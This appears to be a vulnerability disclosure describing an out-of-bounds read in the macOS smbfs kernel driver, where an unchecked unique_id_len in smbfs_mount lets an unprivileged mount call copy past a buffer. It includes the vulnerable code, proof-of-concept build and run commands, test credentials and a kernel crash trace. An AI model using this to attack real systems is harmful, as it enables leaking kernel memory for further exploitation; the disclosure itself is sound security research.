smbfs is a kext driver which handles SMB connection between the user and SMB Server. This vulnerability occurs in smbfs, which allows an attacker to leak kernel memory to achieve further exploitation.
The vulnerability exists in the smbfs_mount
function, which can be triggered via mount
syscall. mount
syscall will take data from user input and pass it to smbfs_mount
. smbfs_mount
does not require any privilege to mount and smb to a folder.
The structure of smbfs_mount_args
is defined by the following code:
struct smb_mount_args {
int32_t version;
int32_t dev;
int32_t altflags;
int32_t KernelLogLevel;
uid_t uid;
gid_t gid;
mode_t file_mode;
mode_t dir_mode;
uint32_t path_len;
int32_t unique_id_len;
char path[MAXPATHLEN] __attribute((aligned(8))); /* The starting path they want used for the mount */
char url_fromname[MAXPATHLEN] __attribute((aligned(8))); /* The from name is the url used to mount the volume. */
unsigned char unique_id[SMB_MAX_UNIQUE_ID] __attribute((aligned(8))); /* A set of bytes that uniquely identifies this volume */
char volume_name[MAXPATHLEN] __attribute((aligned(8))); /* The starting path they want used for the mount */
uint64_t ioc_reserved __attribute((aligned(8))); /* Force correct size always */
int32_t ip_QoS;
int32_t max_resp_timeout;
int32_t dir_cache_async_cnt;
int32_t dir_cache_max;
int32_t dir_cache_min;
int32_t max_dirs_cached;
int32_t max_dir_entries_cached;
uint32_t max_read_size;
uint32_t max_write_size;
/* Snapshot time support */
char snapshot_time[32] __attribute((aligned(8)));
time_t snapshot_local_time;
}
There are two interesting fields unique_id_len
and unique_id[SMB_MAX_UNIQUE_ID]
was defined in this struct. If we look carefully at the smbfs_mount
function, these fields are handled by the following code snippet:
/* Now get the mounted volumes unique id */
smp->sm_args.unique_id_len = args->unique_id_len;
SMB_MALLOC(smp->sm_args.unique_id, unsigned char *, smp->sm_args.unique_id_len,
M_SMBFSDATA, M_WAITOK);
if (smp->sm_args.unique_id) {
bcopy(args->unique_id, smp->sm_args.unique_id, smp->sm_args.unique_id_len);
} else {
smp->sm_args.unique_id_len = 0;
}
As we can see, the code doesn’t check if args->unique_id_len
is larger than args->unique_id
. If an attacker crafts a smbfs_mount_args
with args->unique_id_len
that is larger than the actual size of args->unique_id
, it could lead to memory Out-of-Bounds Read.
peter
share123
clang smbfs_mount_oob_read.c -o smbfs_mount_oob_read -framework CoreFoundation -framework NetFS
./smbfs_mount_oob_read <samba ip>
-----------------------------------------------------------------------------------------------------------------------[regs]
RAX: 0x0000001D15970FD8 RBX: 0xFFFFFFB06AB6F000 RBP: 0xFFFFFFB06A363630 RSP: 0xFFFFFFB06A363618 o d I t s z a p c
RDI: 0xFFFFFFB06ABB4FD8 RSI: 0xFFFFFF9355244000 RDX: 0x0000000041414141 RCX: 0x00000000413CE169
RIP: 0xFFFFFF800FB01082 R8 : 0xFFFFFF868B3DDBF0 R9 : 0x0000000000000001 R10: 0x0000000000000000
R11: 0x00000000FFFFFFFF R12: 0x0000000000000016 R13: 0xFFFFFF93551FD800 R14: 0xFFFFFF868BDAC438
R15: 0xFFFFFF869CB5E460
CS : 0008 GS : 6AB60000 FS : FFFF0000
-----------------------------------------------------------------------------------------------------------------------[code]
bcopy @ /Users/peternguyen/Build/binaries/kernel.development:
-> 0xffffff800fb01082 (0xffffff8000101082): f3 a4 rep movsb byte ptr es:[rdi], byte ptr [rsi]
0xffffff800fb01084 (0xffffff8000101084): c3 ret
0xffffff800fb01085 (0xffffff8000101085): 48 01 cf add rdi, rcx
0xffffff800fb01088 (0xffffff8000101088): 48 01 ce add rsi, rcx
0xffffff800fb0108b (0xffffff800010108b): 48 ff cf dec rdi
0xffffff800fb0108e (0xffffff800010108e): 48 ff ce dec rsi
0xffffff800fb01091 (0xffffff8000101091): 48 83 e1 07 and rcx, 0x7
0xffffff800fb01095 (0xffffff8000101095): fd std
-----------------------------------------------------------------------------------------------------------------------------
Process 1 stopped
* thread #1, stop reason = EXC_BAD_ACCESS (code=2, address=0x55244000)
frame #0: 0xffffff800fb01082 kernel.development`bcopy + 18
Target 0: (kernel.development) stopped.
(lldbinit) bt
* thread #1, stop reason = EXC_BAD_ACCESS (code=2, address=0x55244000)
* frame #0: 0xffffff800fb01082 kernel.development`bcopy + 18
frame #1: 0xffffff800feaa844 kernel.development`memmove(dst=0xffffffb06ab6f000, src=<unavailable>, ulen=<unavailable>) at loose_ends.c:923:2 [opt]
frame #2: 0xffffff7fa9ed4d1c smbfs`smbfs_mount + 2326
frame #3: 0xffffff8010022d8f kernel.development`mount_common(fstypename=<unavailable>, pvp=0xffffff8689626a00, vp=<unavailable>, cnp=0xffffffb000000001, fsmountargs=140732792811600, flags=24, internal_flags=0, labelstr=0x0000000000000000, kernelmount=0, ctx=0xffffff868bdac438) at vfs_syscalls.c:1228:11 [opt]
frame #4: 0xffffff8010024601 kernel.development`__mac_mount(p=<unavailable>, uap=<unavailable>, retval=<unavailable>) at vfs_syscalls.c:599:10 [opt]
frame #5: 0xffffff801002419e kernel.development`mount(p=<unavailable>, uap=<unavailable>, retval=<unavailable>) at vfs_syscalls.c:359:9 [opt]
frame #6: 0xffffff80104bf3f1 kernel.development`unix_syscall64(state=0xffffff868aadd800) at systemcalls.c:412:10 [opt]
frame #7: 0xffffff800fcc11f6 kernel.development`hndl_unix_scall64 + 22